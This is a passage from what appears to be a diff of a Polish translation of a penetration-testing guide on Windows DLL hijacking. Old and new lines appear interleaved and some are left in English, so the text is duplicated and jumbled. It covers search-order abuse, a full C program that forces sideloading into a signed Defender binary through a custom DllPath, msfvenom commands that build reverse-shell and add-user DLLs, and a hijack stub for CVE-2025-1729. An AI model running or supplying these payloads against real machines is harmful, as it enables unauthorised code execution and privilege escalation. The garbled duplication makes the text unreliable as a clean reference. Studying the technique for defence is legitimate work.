| 2. **Hijacking kolejności wyszukiwania DLL**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji. | ||||
| 3. **Hijacking Phantom DLL**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL. | ||||
| 4. **Przekierowanie DLL**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL. | ||||
| 5. **Zastąpienie DLL w WinSxS**: Zastąpienie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading. | ||||
| 6. **Hijacking DLL z użyciem ścieżki względnej**: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominając techniki Binary Proxy Execution. | ||||
| 1. **DLL Replacement**: Zamiana prawidłowego DLL na złośliwy, opcjonalnie używając DLL Proxying, aby zachować funkcjonalność oryginalnego DLL. | ||||
| 2. **DLL Search Order Hijacking**: Umieszczenie złośliwego DLL w ścieżce wyszukiwania przed prawidłowym DLL, wykorzystując wzorzec wyszukiwania aplikacji. | ||||
| 3. **Phantom DLL Hijacking**: Stworzenie złośliwego DLL, który aplikacja załaduje, myśląc, że jest to brakujący wymagany DLL. | ||||
| 4. **DLL Redirection**: Modyfikowanie parametrów wyszukiwania, takich jak %PATH% lub pliki .exe.manifest / .exe.local, aby skierować aplikację do złośliwego DLL. | ||||
| 5. **WinSxS DLL Replacement**: Podmiana legalnego DLL na złośliwy odpowiednik w katalogu WinSxS, metoda często związana z DLL side-loading. | ||||
| 6. **Relative Path DLL Hijacking**: Umieszczenie złośliwego DLL w katalogu kontrolowanym przez użytkownika razem ze skopiowaną aplikacją, przypominające techniki Binary Proxy Execution. | ||||
| 
 | ||||
| ## Znajdowanie brakujących DLL | ||||
| ## Finding missing Dlls | ||||
| 
 | ||||
| Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) z sysinternals, **ustawiając** **następujące 2 filtry**: | ||||
| Najpopularniejszym sposobem znalezienia brakujących DLL-ów w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) ze sysinternals i **ustawienie** **następujących 2 filtrów**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| i pokazując tylko **Aktywność systemu plików**: | ||||
| oraz pokazanie tylko **File System Activity**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Jeśli szukasz **brakujących dll w ogóle**, powinieneś **pozostawić** to działające przez kilka **sekund**.\ | ||||
| Jeśli szukasz **brakującego dll w konkretnej aplikacji**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\<nazwa exec>", uruchomić go i zatrzymać rejestrowanie zdarzeń**. | ||||
| Jeśli szukasz **brakujących dlli ogólnie**, pozostaw to uruchomione przez kilka **sekund**.\ | ||||
| Jeśli szukasz **brakującego dll-a w konkretnym pliku wykonywalnym**, powinieneś dodać dodatkowy filtr typu "Process Name" "contains" "\<exec name>", uruchomić go i zatrzymać przechwytywanie zdarzeń. | ||||
| 
 | ||||
| ## Wykorzystywanie brakujących DLL | ||||
| ## Exploiting Missing Dlls | ||||
| 
 | ||||
| Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie on wyszukiwany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, w którym dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze. | ||||
| Aby eskalować uprawnienia, najlepszą szansą jest możliwość **zapisania dll-a, który proces działający z wyższymi uprawnieniami spróbuje załadować**, w jednym z miejsc, gdzie będzie on przeszukiwany. W efekcie będziemy mogli **zapisac** dll w **folderze**, który jest przeszukiwany wcześniej niż folder zawierający **oryginalny dll** (rzadki przypadek), lub zapisać go w folderze, w którym dll będzie wyszukiwany, podczas gdy oryginalny dll nie istnieje w żadnym z folderów. | ||||
| 
 | ||||
| ### Kolejność wyszukiwania DLL | ||||
| ### Dll Search Order | ||||
| 
 | ||||
| **W dokumentacji** [**Microsoftu**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **możesz znaleźć, jak DLL są ładowane w sposób szczególny.** | ||||
| **Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.** | ||||
| 
 | ||||
| **Aplikacje Windows** szukają DLL, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, przestrzegając określonej sekwencji. Problem z DLL hijacking pojawia się, gdy złośliwy DLL jest strategicznie umieszczany w jednym z tych katalogów, zapewniając, że zostanie załadowany przed autentycznym DLL. Rozwiązaniem, aby temu zapobiec, jest upewnienie się, że aplikacja używa ścieżek bezwzględnych, gdy odnosi się do wymaganych DLL. | ||||
| Aplikacje Windows przeszukują DLL-e, podążając za zestawem **zdefiniowanych ścieżek wyszukiwania**, stosując określoną kolejność. Problem DLL hijackingu pojawia się, gdy złośliwy DLL zostanie strategicznie umieszczony w jednym z tych katalogów, tak że zostanie załadowany przed oryginalnym DLL. Rozwiązaniem zapobiegającym temu jest upewnienie się, że aplikacja używa ścieżek bezwzględnych przy odwoływaniu się do wymaganych DLL-i. | ||||
| 
 | ||||
| Możesz zobaczyć **kolejność wyszukiwania DLL w systemach 32-bitowych** poniżej: | ||||
| Poniżej możesz zobaczyć **kolejność wyszukiwania DLL na systemach 32-bitowych**: | ||||
| 
 | ||||
| 1. Katalog, z którego aplikacja została załadowana. | ||||
| 2. Katalog systemowy. Użyj funkcji [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows\System32_) | ||||
| 3. Katalog systemowy 16-bitowy. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (_C:\Windows\System_) | ||||
| 4. Katalog Windows. Użyj funkcji [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows_) | ||||
| 5. Bieżący katalog. | ||||
| 6. Katalogi wymienione w zmiennej środowiskowej PATH. Należy zauważyć, że nie obejmuje to ścieżki per-aplikacji określonej przez klucz rejestru **App Paths**. Klucz **App Paths** nie jest używany przy obliczaniu ścieżki wyszukiwania DLL. | ||||
| 1. The directory from which the application loaded. | ||||
| 2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_) | ||||
| 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_) | ||||
| 4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory. | ||||
| 1. (_C:\Windows_) | ||||
| 5. The current directory. | ||||
| 6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path. | ||||
| 
 | ||||
| To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode**. Gdy jest wyłączony, bieżący katalog awansuje na drugie miejsce. Aby wyłączyć tę funkcję, utwórz wartość rejestru **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i ustaw ją na 0 (domyślnie jest włączona). | ||||
| To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode**. Gdy jest wyłączony, katalog bieżący awansuje na drugie miejsce. Aby wyłączyć tę funkcję, utwórz wartość rejestru **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** i ustaw ją na 0 (domyślnie jest włączona). | ||||
| 
 | ||||
| Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywoływana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje. | ||||
| Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) zostanie wywołana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje. | ||||
| 
 | ||||
| Na koniec zauważ, że **dll może być załadowany, wskazując bezwzględną ścieżkę, a nie tylko nazwę**. W takim przypadku ten dll **będzie wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakieś zależności, będą one wyszukiwane tak, jakby były ładowane tylko po nazwie). | ||||
| Na koniec, warto zauważyć, że **dll może być załadowany wskazując ścieżkę bezwzględną zamiast samej nazwy**. W takim przypadku dll będzie **wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakieś zależności, będą one wyszukiwane jako załadowane po nazwie). | ||||
| 
 | ||||
| Istnieją inne sposoby na zmianę sposobów zmiany kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać. | ||||
| Istnieją inne sposoby zmiany kolejności wyszukiwania, ale nie będę ich tu wyjaśniać. | ||||
| 
 | ||||
| #### Wyjątki w kolejności wyszukiwania DLL w dokumentach Windows | ||||
| ### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath | ||||
| 
 | ||||
| W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wyszukiwania DLL: | ||||
| Zaawansowany sposób deterministycznego wpływania na ścieżkę wyszukiwania DLL nowo tworzonego procesu polega na ustawieniu pola DllPath w RTL_USER_PROCESS_PARAMETERS podczas tworzenia procesu za pomocą natywnych API ntdll. Dostarczając tu katalog kontrolowany przez atakującego, proces docelowy, który rozwiązuje importowany DLL po nazwie (bez ścieżki bezwzględnej i bez użycia flag bezpiecznego ładowania), może zostać zmuszony do załadowania złośliwego DLL z tego katalogu. | ||||
| 
 | ||||
| - Gdy napotkany jest **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**. | ||||
| - W przypadkach, gdy DLL jest rozpoznawany jako **znany DLL** dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych znanych DLL. | ||||
| - Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL odbywa się tak, jakby były one wskazywane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę. | ||||
| Kluczowy pomysł | ||||
| - Zbuduj parametry procesu przy użyciu RtlCreateProcessParametersEx i podaj własny DllPath wskazujący na katalog kontrolowany przez Ciebie (np. katalog, w którym znajduje się twój dropper/unpacker). | ||||
| - Utwórz proces za pomocą RtlCreateUserProcess. Gdy docelowy binarny rozwiąże DLL po nazwie, loader skonsultuje się z dostarczonym DllPath podczas rozwiązywania, umożliwiając powtarzalne sideloading nawet wtedy, gdy złośliwy DLL nie znajduje się obok docelowego EXE. | ||||
| 
 | ||||
| ### Eskalacja uprawnień | ||||
| Notatki/ograniczenia | ||||
| - To wpływa na tworzony proces potomny; różni się to od SetDllDirectory, które wpływa tylko na bieżący proces. | ||||
| - Cel musi importować lub wywoływać LoadLibrary dla DLL po nazwie (bez ścieżki bezwzględnej i bez użycia LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories). | ||||
| - KnownDLLs i zhardkodowane ścieżki bezwzględne nie mogą być hijackowane. Forwarded exports i SxS mogą zmieniać priorytety. | ||||
| 
 | ||||
| **Wymagania**: | ||||
| Minimal C example (ntdll, wide strings, simplified error handling): | ||||
| ```c | ||||
| #include <windows.h> | ||||
| #include <winternl.h> | ||||
| #pragma comment(lib, "ntdll.lib") | ||||
| 
 | ||||
| - Zidentyfikuj proces, który działa lub będzie działał z **innymi uprawnieniami** (ruch poziomy lub boczny), który **nie ma DLL**. | ||||
| - Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem wykonywalnym lub katalogiem w ścieżce systemowej. | ||||
| // Prototype (not in winternl.h in older SDKs) | ||||
| typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( | ||||
| PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, | ||||
| PUNICODE_STRING ImagePathName, | ||||
| PUNICODE_STRING DllPath, | ||||
| PUNICODE_STRING CurrentDirectory, | ||||
| PUNICODE_STRING CommandLine, | ||||
| PVOID Environment, | ||||
| PUNICODE_STRING WindowTitle, | ||||
| PUNICODE_STRING DesktopInfo, | ||||
| PUNICODE_STRING ShellInfo, | ||||
| PUNICODE_STRING RuntimeData, | ||||
| ULONG Flags | ||||
| ); | ||||
| 
 | ||||
| Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie dość dziwne jest znalezienie uprzywilejowanego wykonywalnego, któremu brakuje dll** i jest jeszcze **dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\ | ||||
| W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** dla DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu). | ||||
| typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( | ||||
| PUNICODE_STRING NtImagePathName, | ||||
| ULONG Attributes, | ||||
| PRTL_USER_PROCESS_PARAMETERS ProcessParameters, | ||||
| PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, | ||||
| PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, | ||||
| HANDLE ParentProcess, | ||||
| BOOLEAN InheritHandles, | ||||
| HANDLE DebugPort, | ||||
| HANDLE ExceptionPort, | ||||
| PRTL_USER_PROCESS_INFORMATION ProcessInformation | ||||
| ); | ||||
| 
 | ||||
| Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze**, wykonując: | ||||
| static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { | ||||
| DWORD n = GetModuleFileNameW(h, out, cch); | ||||
| for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; } | ||||
| } | ||||
| 
 | ||||
| int wmain(void) { | ||||
| // Target Microsoft-signed, DLL-hijackable binary (example) | ||||
| const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe"; | ||||
| 
 | ||||
| // Build custom DllPath = directory of our current module (e.g., the unpacked archive) | ||||
| wchar_t dllDir[MAX_PATH]; | ||||
| DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH); | ||||
| 
 | ||||
| UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; | ||||
| RtlInitUnicodeString(&uImage, image); | ||||
| RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\""); | ||||
| RtlInitUnicodeString(&uDllPath, dllDir);      // Attacker-controlled directory | ||||
| RtlInitUnicodeString(&uCurDir, dllDir); | ||||
| 
 | ||||
| RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = | ||||
| (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx"); | ||||
| RtlCreateUserProcess_t pRtlCreateUserProcess = | ||||
| (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess"); | ||||
| 
 | ||||
| RTL_USER_PROCESS_PARAMETERS *pp = NULL; | ||||
| NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, | ||||
| NULL, NULL, NULL, NULL, NULL, 0); | ||||
| if (st < 0) return 1; | ||||
| 
 | ||||
| RTL_USER_PROCESS_INFORMATION pi = {0}; | ||||
| st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); | ||||
| if (st < 0) return 1; | ||||
| 
 | ||||
| // Resume main thread etc. if created suspended (not shown here) | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| Operational usage example | ||||
| - Umieść złośliwy xmllite.dll (eksportujący wymagane funkcje lub działający jako proxy do prawdziwego) w katalogu DllPath. | ||||
| - Uruchom podpisany binarny plik wykonywalny, o którym wiadomo, że wyszukuje xmllite.dll po nazwie przy użyciu powyższej techniki. Loader rozwiązuje import za pomocą dostarczonego DllPath i sideloaduje twoją DLL. | ||||
| 
 | ||||
| This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory. | ||||
| 
 | ||||
| 
 | ||||
| #### Exceptions on dll search order from Windows docs | ||||
| 
 | ||||
| Certain exceptions to the standard DLL search order are noted in Windows documentation: | ||||
| 
 | ||||
| - When a **DLL that shares its name with one already loaded in memory** is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. **In this scenario, the system does not conduct a search for the DLL**. | ||||
| - In cases where the DLL is recognized as a **known DLL** for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, **forgoing the search process**. The registry key **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** holds a list of these known DLLs. | ||||
| - Should a **DLL have dependencies**, the search for these dependent DLLs is conducted as though they were indicated only by their **module names**, regardless of whether the initial DLL was identified through a full path. | ||||
| 
 | ||||
| ### Escalating Privileges | ||||
| 
 | ||||
| **Requirements**: | ||||
| 
 | ||||
| - Zidentyfikuj proces, który działa lub będzie działał z **różnymi uprawnieniami** (ruch horyzontalny lub lateralny), który **nie ma DLL**. | ||||
| - Upewnij się, że dostępne są **uprawnienia do zapisu** dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. Lokalizacją tą może być katalog wykonywalnego pliku lub katalog w ścieżce systemowej. | ||||
| 
 | ||||
| Tak, wymogi są trudne do znalezienia, ponieważ **domyślnie trudno jest znaleźć uprzywilejowany plik wykonywalny, któremu brakuje DLL** i jeszcze **dziwniejsze jest posiadanie uprawnień zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale, w źle skonfigurowanych środowiskach jest to możliwe.\ | ||||
| W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** Dll hijacking dla wersji Windows, którego możesz użyć (prawdopodobnie wystarczy zmienić ścieżkę folderu, w którym masz uprawnienia zapisu). | ||||
| 
 | ||||
| Note that you can **check your permissions in a folder** doing: | ||||
| ```bash | ||||
| accesschk.exe -dqv "C:\Python27" | ||||
| icacls "C:\Python27" | ||||
| @ -87,34 +179,35 @@ I **sprawdź uprawnienia wszystkich folderów w PATH**: | ||||
| ```bash | ||||
| for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) | ||||
| ``` | ||||
| Możesz również sprawdzić importy pliku wykonywalnego oraz eksporty dll za pomocą: | ||||
| Możesz także sprawdzić importy pliku wykonywalnego i eksporty dll za pomocą: | ||||
| ```c | ||||
| dumpbin /imports C:\path\Tools\putty\Putty.exe | ||||
| dumpbin /export /path/file.dll | ||||
| ``` | ||||
| Aby uzyskać pełny przewodnik na temat **wykorzystania Dll Hijacking do eskalacji uprawnień** z uprawnieniami do zapisu w **folderze System Path**, sprawdź: | ||||
| Aby uzyskać pełny przewodnik, jak **wykorzystać Dll Hijacking do eskalacji uprawnień** mając uprawnienia do zapisu w **folderze System Path**, sprawdź: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| writable-sys-path-+dll-hijacking-privesc.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### Narzędzia automatyczne | ||||
| ### Zautomatyzowane narzędzia | ||||
| 
 | ||||
| [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sprawdzi, czy masz uprawnienia do zapisu w jakimkolwiek folderze w systemowym PATH.\ | ||||
| Inne interesujące narzędzia automatyczne do odkrywania tej podatności to **funkcje PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._ | ||||
| [**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sprawdzi, czy masz uprawnienia do zapisu w którymkolwiek folderze w system PATH.\ | ||||
| Inne interesujące zautomatyzowane narzędzia do wykrywania tej podatności to **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll_. | ||||
| 
 | ||||
| ### Przykład | ||||
| 
 | ||||
| W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, pamiętaj, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) lub z [**High Integrity do SYSTEM**](../index.html#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ | ||||
| Ponadto, w **następnej sekcji** znajdziesz kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**. | ||||
| Jeśli znajdziesz scenariusz możliwy do wykorzystania, jedną z najważniejszych rzeczy, aby go pomyślnie wykorzystać, będzie **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które program będzie z niej importował**. Zwróć uwagę, że Dll Hijacking jest przydatny do [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) lub z[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** Możesz znaleźć przykład **how to create a valid dll** w tym studium dll hijacking skoncentrowanym na dll hijacking dla wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ | ||||
| Ponadto, w **następnej sekcji** znajdziesz kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z wyeksportowanymi funkcjami, które nie są wymagane**. | ||||
| 
 | ||||
| ## **Tworzenie i kompilowanie Dlls** | ||||
| ## **Tworzenie i kompilowanie Dll** | ||||
| 
 | ||||
| ### **Proxifikacja Dll** | ||||
| ### **Dll Proxifying** | ||||
| 
 | ||||
| W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami**, **przekazując wszystkie wywołania do prawdziwej biblioteki**. | ||||
| Zasadniczo **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **eksponowania** i **działania** zgodnie z oczekiwaniami poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**. | ||||
| 
 | ||||
| Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać wykonywalny plik i wybrać bibliotekę**, którą chcesz proxifikować oraz **wygenerować proxifikowaną dll** lub **wskazać Dll** i **wygenerować proxifikowaną dll**. | ||||
| Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz w praktyce **wskazać plik wykonywalny i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**. | ||||
| 
 | ||||
| ### **Meterpreter** | ||||
| 
 | ||||
| @ -122,17 +215,17 @@ Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/D | ||||
| ```bash | ||||
| msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll | ||||
| ``` | ||||
| **Zdobądź meterpreter (x86):** | ||||
| **Uzyskaj meterpreter (x86):** | ||||
| ```bash | ||||
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll | ||||
| ``` | ||||
| **Utwórz użytkownika (x86, nie widziałem wersji x64):** | ||||
| **Utwórz użytkownika (x86 — nie widziałem wersji x64):** | ||||
| ``` | ||||
| msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll | ||||
| ``` | ||||
| ### Twoje własne | ||||
| 
 | ||||
| Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **eksportować kilka funkcji**, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, **plik binarny nie będzie mógł ich załadować** i **eksploit się nie powiedzie**. | ||||
| Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **export several functions**, które zostaną załadowane przez victim process; jeśli te funkcje nie istnieją, **binary won't be able to load** ich, a **exploit will fail**. | ||||
| ```c | ||||
| // Tested in Win10 | ||||
| // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared | ||||
| @ -213,20 +306,20 @@ break; | ||||
| return TRUE; | ||||
| } | ||||
| ``` | ||||
| ## Studium przypadku: CVE-2025-1729 - Eskalacja uprawnień przy użyciu TPQMAssistant.exe | ||||
| ## Studium przypadku: CVE-2025-1729 - Privilege Escalation przy użyciu TPQMAssistant.exe | ||||
| 
 | ||||
| To przypadek demonstruje **Phantom DLL Hijacking** w szybkim menu TrackPoint firmy Lenovo (`TPQMAssistant.exe`), śledzonym jako **CVE-2025-1729**. | ||||
| Ten przypadek demonstruje **Phantom DLL Hijacking** w Lenovo TrackPoint Quick Menu (`TPQMAssistant.exe`), oznaczony jako **CVE-2025-1729**. | ||||
| 
 | ||||
| ### Szczegóły podatności | ||||
| 
 | ||||
| - **Komponent**: `TPQMAssistant.exe` znajdujący się w `C:\ProgramData\Lenovo\TPQM\Assistant\`. | ||||
| - **Zadanie zaplanowane**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` uruchamia się codziennie o 9:30 pod kontekstem zalogowanego użytkownika. | ||||
| - **Uprawnienia do katalogu**: Zapisywalne przez `CREATOR OWNER`, co pozwala lokalnym użytkownikom na umieszczanie dowolnych plików. | ||||
| - **Zachowanie wyszukiwania DLL**: Próbuje załadować `hostfxr.dll` najpierw z katalogu roboczego i rejestruje "NAME NOT FOUND", jeśli brakuje, co wskazuje na pierwszeństwo wyszukiwania w lokalnym katalogu. | ||||
| - **Składnik**: `TPQMAssistant.exe` zlokalizowany w `C:\ProgramData\Lenovo\TPQM\Assistant\`. | ||||
| - **Zaplanowane zadanie**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` uruchamia się codziennie o 9:30 i działa w kontekście zalogowanego użytkownika. | ||||
| - **Uprawnienia katalogu**: Zapisywalne przez `CREATOR OWNER`, co pozwala lokalnym użytkownikom na umieszczanie dowolnych plików. | ||||
| - **Zachowanie wyszukiwania DLL**: Próbuje załadować `hostfxr.dll` najpierw z katalogu roboczego i loguje "NAME NOT FOUND" jeśli plik nie istnieje, co wskazuje na priorytet wyszukiwania w lokalnym katalogu. | ||||
| 
 | ||||
| ### Implementacja exploita | ||||
| 
 | ||||
| Atakujący może umieścić złośliwy stub `hostfxr.dll` w tym samym katalogu, wykorzystując brakującą DLL do osiągnięcia wykonania kodu w kontekście użytkownika: | ||||
| Atakujący może umieścić złośliwy stub `hostfxr.dll` w tym samym katalogu, wykorzystując brakujący DLL do uzyskania wykonania kodu w kontekście użytkownika: | ||||
| ```c | ||||
| #include <windows.h> | ||||
| 
 | ||||
| @ -238,20 +331,20 @@ MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK); | ||||
| return TRUE; | ||||
| } | ||||
| ``` | ||||
| ### Atak | ||||
| ### Przebieg ataku | ||||
| 
 | ||||
| 1. Jako standardowy użytkownik, umieść `hostfxr.dll` w `C:\ProgramData\Lenovo\TPQM\Assistant\`. | ||||
